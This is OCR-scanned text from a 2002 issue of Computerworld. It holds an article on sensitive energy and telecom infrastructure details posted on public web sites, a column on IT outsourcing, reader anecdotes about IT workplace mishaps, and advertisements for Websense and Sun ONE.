March  20,  2002 
Boston,  Massachusetts 

April  3,  2002 
San  Jose,  California 


To  view  a  complete  list  of  topics,  please  go  to 

www.idc.com/events 
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Continued  from  page  1 

Web  Sites 

can  Executive  Centers 
Inc.  leases  office  space 
in  a  20-story  building  to 
major  companies  such 
as  Oracle  Corp.,  Bank  of 
America  Corp.  and  Ford 
Motor  Co. 

American  Executive 
Centers,  whose  name 
fits  the  targeting  profile 
that  security  experts  say 
could  put  companies  on 
a  terrorist’s  radar  screen,  offers 
photographs,  floor  plans  and 
virtual  tour  information  on  its 
Web  site. 

Mike  Howard,  leasing  man¬ 
ager  for  the  complex,  said  that 
the  company  hasn’t  been  con¬ 
cerned  with  the  level  of  detail 
provided  on  the  Web  site  and 
that  it  has  taken  steps  since 
Sept.  11  to  improve  security. 

“Our  floor  plan  is  not  a 
whole  schematic  of  the  build¬ 
ing,”  he  said,  adding  that  no 
schematics  for  underground 
garages  are  available  on  the 
site. 

That  lack  of  concern  con¬ 
trasts  sharply  with  the  position 
of  the  FBI’s  National  Infra¬ 
structure  Protection  Center 
(NIPC).  The  NIPC  on  Jan.  17 


AUTHORITIES  ARE  WORRIED  that  terrorists  could 
be  using  information  that’s  available  on  the  Web 
like  this  map  of  AT&T’s  nationwide  network. 


issued  a  warning  to  all  compa¬ 
nies  and  government  agencies 
to  scour  their  public  Web  sites 
for  sensitive  information  per¬ 
taining  to  critical  infrastruc¬ 
ture  systems.  It  was  the  second 
such  warning  the  NIPC  has  is¬ 
sued  since  Sept.  11. 

Sensitive  Information 

And  the  NIPC’s  concerns 
may  be  warranted.  A  recent 
Computerworld  survey  of  a 
dozen  Web  sites  uncovered  in¬ 
teractive  maps  depicting  infor¬ 
mation  such  as  the  location  of 
nuclear  waste  storage  facilities 
and  detailed  diagrams  of  every 
major  telecommunications  net¬ 
work  in  the  U.S.  (see  related 
stories,  this  page). 

But  information  that  could 


be  helpful  in  the  plan¬ 
ning  of  terrorist  attacks 
isn’t  the  only  problem, 
said  Eric  Shaw,  a  former 
CIA  psychologist  and 
profiler  and  the  princi¬ 
pal  author  of  the  Stroz 
Associates  study.  Com¬ 
panies  could  also  be  tar¬ 
geted  if  they  post  infor¬ 
mation  that  terrorist  or¬ 
ganizations  don’t  like,  he 
said. 

“We  know  that  corpo¬ 
rate  Web  sites  that  con¬ 
tain  messages  support¬ 
ing  globalization  are  go¬ 
ing  to  stimulate  portions  of  the 
al-Qaeda  organization  and 
make  those  companies  a  po¬ 
tential  target,”  said  Shaw. 

Shaw  declined  to  name  the 
financial  institution  for  which 
the  report  was  prepared,  citing 
contractual  and  security  rea¬ 
sons.  However,  he  did  say  that 
the  audit  uncovered  files  list¬ 
ing  frozen  bank  accounts  be¬ 
longing  to  known  supporters 
of  the  Qaeda  terrorist  organi¬ 
zation,  which  could  have  pro¬ 
vided  motivation  for  members 
of  al-Qaeda  in  the  U.S.  to  attack 
the  company. 

“Companies  are  communi¬ 
cating  very  effectively  with 
their  internal  audience  and 
clients,  but  they  don’t  realize 
how  information  from  a  public 


Energy,  Nuclear  Infrastructure  Exposed 


Detailed  information  about  the  na¬ 
tion’s  nuclear  power  plants  and 
other  energy  infrastructures  is 
readily  available  on  the  Internet. 

An  examination  of  U.S.  Depart¬ 
ment  of  Energy  (DOE)  Web  sites 
revealed  maps  that  provide  the 
approximate  locations  of  all  nu¬ 
clear  waste  storage  facilities,  nu¬ 
clear  reactors  and  surplus  plutoni¬ 
um  storage  sites  in  the  country. 

In  addition,  the  Energy  Informa¬ 
tion  Administration  (EIA),  a  divi¬ 
sion  within  the  DOE,  offers  Web 
surfers  an  online  database  of 
electric  power  profiles  for  every 
state,  plus  a  sortable  database  of 
all  operational  nuclear  reactors 
and  a  detailed  depiction  of  a  typi¬ 
cal  uranium  mill. 

A  program  manager  at  the  EIA 
said  he  couldn’t  comment  on  the 
Web  content,  and  the  DOE  didn’t 
respond  to  Computerworld's  re¬ 
quest  for  comment. 

However.  Paula  Scaling!,  for¬ 
mer  director  of  critical  infrastruc¬ 


ture  protection  at  the  DOE,  said 
the  problem  needs  to  be  ad¬ 
dressed  immediately. 

“The  genie  is  out  of  the  bottle," 
and  steps  should  be  taken  to 
study  what  value,  if  any,  this  sort 
of  information  provides  the  public, 
she  said.  Scaling!,  who  now  heads 
her  own  private  consulting  busi¬ 
ness,  tried  to  conduct  such  a 
study  last  year  at  the  DOE  but 
couldn’t  get  funding,  she  said. 

Ed  Badolato,  president  of 
Washington-based  Contingency 
Management  Services  Inc.  and 
the  former  deputy  assistant  secre¬ 
tary  for  energy  emergencies  at  the 
DOE,  said  the  amount  of  informa¬ 
tion  about  critical  energy  infra¬ 
structures  available  on  the  Inter¬ 
net  provides  a  blueprint  for  terror¬ 
ists.  Most  of  the  information  was 
put  there  as  a  response  to  regula¬ 
tory  requirements  and  for  busi¬ 
ness  promotion  purposes. 
Badolato  said. 

-  Dan  Verton 


Web  site  can  be  interpreted  dif¬ 
ferently,  particularly  by  adver¬ 
sary  groups,”  said  Shaw.  “In  the 
international  realm,  that  can 
put  you  in  the  cross  hairs.” 

“There’s  way  too  much  in¬ 
formation  out  there,  especially 
in  the  area  of  critical  infra¬ 


structure,”  said  Dan  Morrison, 
director  of  risk  consulting  at 
Arthur  Andersen  LLP  in 
Chicago.  “Bad  guys  can  be  real¬ 
ly  clever.  But  even  when 
they’re  not  clever,  data  aggre¬ 
gation  can  make  targeting  pos¬ 
sible.”  I 


Telecom  Infrastructure  an  Open  Book 


Large  telecommunications  firms 
and  local  communications  compa¬ 
nies  publish  a  vast  amount  of  sensi¬ 
tive  information  on  their  Web  sites 
about  critical  nationwide  networks. 

A  recent  Computerworld  survey 
of  eight  national  and  local  telecom¬ 
munications  service  providers  un¬ 
covered  enough  information  to  pro¬ 
duce  a  relatively  accurate  blueprint 
of  the  major  network  backbones 
serving  businesses  across  the  U.S. 

In  addition  to  network  maps,  the 
survey  found  detailed  information 
on  the  locations  of  current  and 
planned  Internet  data  centers, 
router  locations,  major  nodes  of 
metropolitan-area  networks.  Virtual 
tours  of  data  centers,  maps  depict¬ 


ing  East  Coast  termination  points  of 
all  long-haul  undersea  communica¬ 
tions  cables  and  street-level  maps 
of  fiber-optic  networks  are  also 
available. 

Reston,  Va.-based  XO  Communi¬ 
cations  Inc.’s  Web  site  provides  lo¬ 
cation  information  for  all  of  the 
company’s  five  data  centers,  as  well 
as  a  virtual  tour  inside  a  “typical" 
center,  including  a  description  of  all 
security  systems  used  to  protect 
the  facility.  “The  physical  security 
threat  is  something  that  XO  has  to 
consider,"  acknowledged  James 
Isaacs,  the  company’s  vice  presi¬ 
dent  of  product  management. 

“On  a  day-to-day  basis,  most  of 
our  concern  deals  with  the  logical 


[network]  layer  rather  than  the 
physical  layer,”  said  Isaacs.  Howev¬ 
er,  the  physical  “perspective  merits 
focus,"  he  said.  “The  entire  tele¬ 
communications  industry  has  to 
take  it  into  consideration." 

Similar  information  is  available 
online  about  the  networks  and  data 
centers  operated  by  AT&T  Corp., 
Cable  &  Wireless  PLC,  Sprint  Corp. 
and  Qwest  Communications  Inter¬ 
national  Inc. 

The  public  availability  of  maps 
depicting  the  nationwide  Sprint  net¬ 
work  has  led  to  a  series  of  “intense 
discussions"  at  the  company  to  de¬ 
termine  what  else  can  be  seen  on 
its  Web  site,  said  Robin  Carlson,  a 
spokeswoman  for  Kansas  City,  Mo.- 
based  Sprint.  Carlson  said  Sprint 
lacks  that  information  on  a  corpo¬ 


rate  level  because  its  individual 
business  units  manage  their  own 
Web  site  content. 

Nikki  Laughlin,  a  spokeswoman 
for  London-based  Cable  &  Wire¬ 
less,  which  publishes  maps  of  all  of 
its  U.S.  and  global  networks,  down¬ 
played  the  sensitivity  of  the  infor¬ 
mation  contained  in  the  maps.  “We 
give  no  specificity  on  our  network 
maps,"  she  said.  “It  just  has  the  city 
name  and  would  not  give  terrorists 
enough  information  to  locate  us.  It’s 
really  a  sales  tool." 

Denver-based  Qwest  couldn’t  be 
reached  for  comment. 

Computerworld  also  found  de¬ 
tailed  street-level  maps  of  the  fiber 
backbone  serving  the  city  of  Palo 
Alto.  Calif.,  including  locations  of 
underground  cables  and  backbone 


splice  points.  Jennifer  Crossen,  a 
spokeswoman  for  City  of  Palo  Alto 
Utilities,  said  the  department  does¬ 
n’t  believe  any  of  the  information 
would  be  of  use  to  a  terrorist.  “It’s 
not  any  different  than  what  anybody 
could  see  walking  down  the  street." 
she  said. 

Washington-based  TeleGeogra- 
phy  Inc.  publishes  detailed  network 
maps,  including  the  locations  of  un¬ 
dersea  cable  termination  points,  for 
use  by  telecommunications  compa¬ 
nies.  TeleGeography  CEO  Jason 
Kowal  said  he  doesn’t  think  that  the 
level  of  detail  on  his  company’s 
maps  would  be  useful  to  terrorists. 
However,  Kowal  acknowledged  that 
“if  you  knew  what  you  were  looking 
for,  you  could  probably  find  it." 

-  Dan  Verton 
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FRANK  HAYES/FRANKLY  SPEAKING 


Survival  Strategies 

WILL  YOUR  IT  SHOP  SURVIVE  THESE  budget- 

slashing,  outsource-everything  days?  Or  to  put  it 
another  v^ay:  Will  your  company  survive? 

Last  week,  Computerworld  columnist  Paul  A. 
Strassmann  [Business  Opinion,  “Still  a  Loser’s 
Game”]  provided  one  answer  to  both  those  questions:  Companies 
that  outsource  their  IT  wholesale  usually  do  it  because  they’re  al¬ 
ready  in  financial  trouble  —  and  things  get  worse,  not  better,  after 
IT  is  gone. 

What  Strassmann  didn’t  say  is  this:  If  your  top  management  wants 
to  dump  your  IT  shop,  there’s  probably  not  much  you  can  do  about  it. 


Strassmann  is  a  hard-numbers  guy.  He  comes 
to  his  conclusions  by  crunching  lots  of  real  data 
from  lots  of  real  companies,  not  by  blue-skying 
about  an  ideal  world.  And  he’s  been  tracking 
outsourcing  numbers  since  1995,  so  there  has 
been  plenty  of  time  for  successful  wholesale 
outsourcing  deals  to  make  a  liar  of  him. 

They  haven’t.  What  proved  true  in  1995’s 
growing  economy  is  still  true  in  2002’s  reces¬ 
sion;  Outsourcing  certain  IT  functions  may 
work  —  if  it’s  done  with  a  hard  eye  toward  mea¬ 
surable  financial  improvements.  But  farming 
out  all  of  IT  isn’t  healthy  for  a  business  —  and 
healthy  businesses  don’t  do  it. 

This  all  makes  sense  if  you  think  IT  has  real 
value  in  making  an  organization  successful. 
Completely  outsourced  IT  can’t  provide  com¬ 
petitive  advantage.  It  can’t  move  quickly  to  ad¬ 
just  to  changing  business  conditions.  It  doesn’t 
know  the  business  it’s  supposed  to  serve  be¬ 
cause  it’s  not  part  of  that  business.  Internal  IT 
can  do  all  of  those  things.  It’s  a  critical  strategic 
asset.  So  cutting  it  out  cripples  a  business’  abil¬ 
ity  to  compete. 

But  executives  who  want  to  out¬ 
source  everything  don’t  believe 
that.  They  don’t  see  IT  as  a  strate¬ 
gic  asset.  They  just  want  to  get  all 
those  warm  bodies  off  the  books. 

And,  very  likely,  there’s  no  argu¬ 
ment  you  can  make  to  change  their 
minds.  Demonstrating  return  on  in¬ 
vestment  for  IT  projects  won’t  do  it, 
because  outsourcing-happy  execu¬ 
tives  don’t  view  IT  as  an  invest¬ 
ment,  but  as  a  cost. 

Showing  that  a  loss  of  flexibility 
and  in-depth  knowledge  of  the  busi¬ 
ness  will  cost  more  than  it  will  save 


won’t  make  them  change  their  minds  either,  be¬ 
cause  they  don’t  see  IT  as  a  strategic  advantage, 
but  as  an  operational  expense. 

Pointing  out  that  wholesale  outsourcing 
means  IT  will  be  optimized  to  serve  the  inter¬ 
ests  of  the  outsourcer,  not  your  business,  won’t 
do  it  because,  hey,  it  worked  when  they  got  the 
janitors  off  the  payroll  —  and  how  different  is 
keeping  hallways  clean  from  keeping  networks 
running,  anyhow? 

Ugly?  Sure,  that’s  ugly.  But  it  does  remove  the 
ambiguity  and  uncertainty  for  people  in  an  IT 
shop  that  faces  wholesale  outsourcing. 

It  means  your  IT  shop  will  go  away.  But  then, 
down  the  line,  so  will  the  whole  business. 

So  you’re  wasting  your  time  making  a  busi¬ 
ness  case  for  internal  IT  to  outsourcing-happy 
management.  Or  calculating  ROI.  Or  giving 
examples  of  cases  where  your  IT  shop  saved 
the  day  when  outsourced  IT  wouldn’t  have. 
You’re  better  off  spending  that  time  polishing 
your  resume  and  your  interview  skills. 

And  even  in  the  unlikely  event  that  you  win  a 
reprieve,  things  will  just  keep  going  downhill. 

Make  no  mistake,  though:  Not  all 
companies  looking  at  outsourcing 
are  considering  wholesale  outsourc¬ 
ing.  Surgical  staff  cuts  and  tightly 
targeted  outsourcing  are  unpleas¬ 
ant,  but  they  may  deliver  ROI  or 
special  capabilities  that  your  IT 
shop  can’t  produce  today.  There’s 
no  reason  to  bail  out  just  because 
some  outsourcing  is  on  the  table. 

But  if  your  top  management  be¬ 
lieves  IT  —  all  of  IT  —  is  dispens¬ 
able,  you  don’t  need  to  ask  whether 
your  company  will  survive. 

You  just  need  an  exit  strategy.  » 


FRANK  HAYES,  Computer- 
world's  senior  news  colum¬ 
nist,  has  covered  IT  for  more 
than  20  years.  Contact  him  at 

frank.hayesScomputerworid.com. 
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IT  MANAGER  at  this  electrical 
supply  house  bursts  in  on  pilot 
fish  and  reams  him  out  for  visit¬ 
ing  forbidden  Web  sites.  Seems 
the  word  str/pper  triggered  an 
alarm  on  the  company’s  filtering 
software.  Baffled  fish  -  who  was 
researching  wire-stripping  tools 
-  stammers,  “I  was  just  looking 
at  Ideal  strippers."  Boss  thun¬ 
ders,  “I  don’t  care  what  your  ide¬ 
al  stripper  looks  like,  you’re  not 
visiting  that  site  again!" 

THIS  PILOT  FISH’S  Sweden- 
based  company  likes  using 
acronyms  -  maybe  a  little  too 
much.  “This  morning  the  entire 
company  received  an  e-mail 
from  the  new  Release  and  Appli¬ 
cation  Management/IT  depart¬ 
ment,”  fish  reports.  “They  signed 
off:  ’Regards,  RAM-IT.’  ’’ 

NEW  COMPUTER  room  is  state 
of  the  art,  beautifully  laid  out  and 
stuffed  with  useful  tools  for  sys¬ 
tems  management.  “But  the  fea¬ 
ture  we’re  all  proudest  of  is  the 
fact  that  the  card-key  reader  to 
get  in  is  located  much  lower  on 
the  wall  than  in  the  old  room," 
says  IT  pilot  fish  who  works 
there.  “Nothing  to  do  with  acces¬ 
sibility  requirements  -  the  sys¬ 
admins  were  around  when  the 
electricians  were  hooking  it  up, 
and  we  requested  it  that  way. 


You  just  bang  your  butt  up 
against  it,  with  the  access  key 
still  in  your  back  pocket,  and  it 
clicks.  A  great  time-saver.” 

AFTER  SPENDING  “more  time 
than  1  could  afford”  on  marketing 
manager’s  computer  problems, 

IT  manager  pilot  fish  is  annoyed 
when,  the  next  day,  Mr.  Marke¬ 
teer  buttonholes  him  again. 
“Could  you  help  me  when  you 
have  a  sec?"  marketing  manager 
asks.  “Sorry,"  snaps  fish,  “you 
got  all  the  secs  from  me  you’re 
going  to  get!” 

NEW-HIRE  IT  pilot  fish  spots 
her  boss  flirting  with  a  pretty  re¬ 
ceptionist.  “In  an  effort  to  get 
closer  to  her.  he  leans  forward 
and  knocks  his  coffee  cup  off 
the  reception  counter,”  she  re¬ 
ports.  “It  dumps  into  her  monitor 
-  with  a  nice  crackling  sound 
and  lots  of  smoke."  But  the  unre¬ 
pentant  boss  isn’t  worried:  “The 
beauty  of  being  in  the  IS  depart¬ 
ment  is  that  no  one  will  ever 
know  I  did  it,"  he  tells  fish.  “I’ll 
just  tell  them  the  monitor  blew." 

Spill  some  my  way:  sharky® 
computerworld.com.  You  get 
a  snazzy  Shark  shirt  if  your  true 
tale  of  IT  life  sees  print  -  or  if  it 
shows  up  in  the  daily  feed  at 
computerworld.com/sharky. 


The  5th  Wave 
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You're  an  IT  professional,  not  the  Internet  police. 

Give  the  cop  routine  a  rest.  Manage,  don't  just  monitor  corporate  Internet  activity  with  Websense  Enterprise  Web  filtering 
software.  No  more  watching  over  shoulders  or  online  patrolling.  Websense  puts  the  highest  quality,  leak-free  database  to  work 
for  you.  It's  more  accurate,  reliable  and  comprehensive  with  automated  daily  updates,  including  more  than  5,000  site  additions 
per  day.  That's  why  more  than  half  the  Fortune  500  trust  Websense  to  manage  employee  online  activity.  You  can  too. 
Get  Websense.  And  save  your  badge  for  when  you  really  need  it. 


Download  your  free,  fully  functional  30-day  trial  today  at  www.websense.com. 


EMPLOYEE  INTERNET  MANAGEMENT 

NASDAQ:  WBSN 


WEBSENSE  INTEGRATES  WITH  LEADING  INFRASTRUCTURE  SOLUTIONS  SUCH  AS; 


Cisco  Systems 

y  Verified 


I  Check  Point- 

I  Software 'fechnologies  Ltd. 


0 


n  k  t  o 


Microsoft 


NetworkAppliance* 


NETSCREEN' 


Volera 


Sun'”  ONE.  The  software  platform  that  will  unleash 
the  untapped  horsepower  of  your  IT  infrastructure. 


What's  the  value  of  integrating  your  information  assets?  That's  an  easy  one.  More 
services,  bigger  savings,  greater  profits,  right?  You'll  get  better  customer  service, 
tighter  supply  chains  and  achieve  increased  productivity.  Sounds  great,  so  how  do 
you  do  it?  With  Web  Services?  How  do  you  wrangle  those  resources  together 
without  ripping  out  and  replacing  everything?  Or  without  a  massive  development 
project?  Or  without  crushing  your  bottom  line?  Oh  yeah,  and  how  do  you  make  it 
future-proof,  adaptable  to  whatever  platforms,  technologies  or  thingamabobs 
show  up  tomorrow?  Sun™ONE  is  the  answer. 


IT'S  THE  FUEL-INJECTED  JAVA  ” 
AND  XML  SOFTWARE  PLATFORM. 


Sun  ONE  is  a  software  platform  of  rock-solid 
products  that  lets  you  integrate  whatever  services 
you  demand.  And  you  can  leverage  the  power 
of  your  legacy  systems  to  launch  services  today 
without  locking  you  into  a  dead-end  solution 
tomorrow.  Sun  ONE  includes  the  iPlanet™  product 
portfolio,  with  the  most  popular  LDAP  directory 
server  on  the  market,  and  Forte'“  for  Java™  tools, 
the  quickest  way  to  write  Java  apps  anywhere. 
And  it's  all  built  with  Java  and  XML  technologies, 
supports  SOAP,  WSDL  and  UDDI,  and  runs  on 
Solaris™  the  UNIX®  operating  environment. 


Visit  www.sun.com/sunoneinfo  to  register  to  receive  the  Sun  ONE  starter  kit  and  join  the  online  Sun  ONE  community. 
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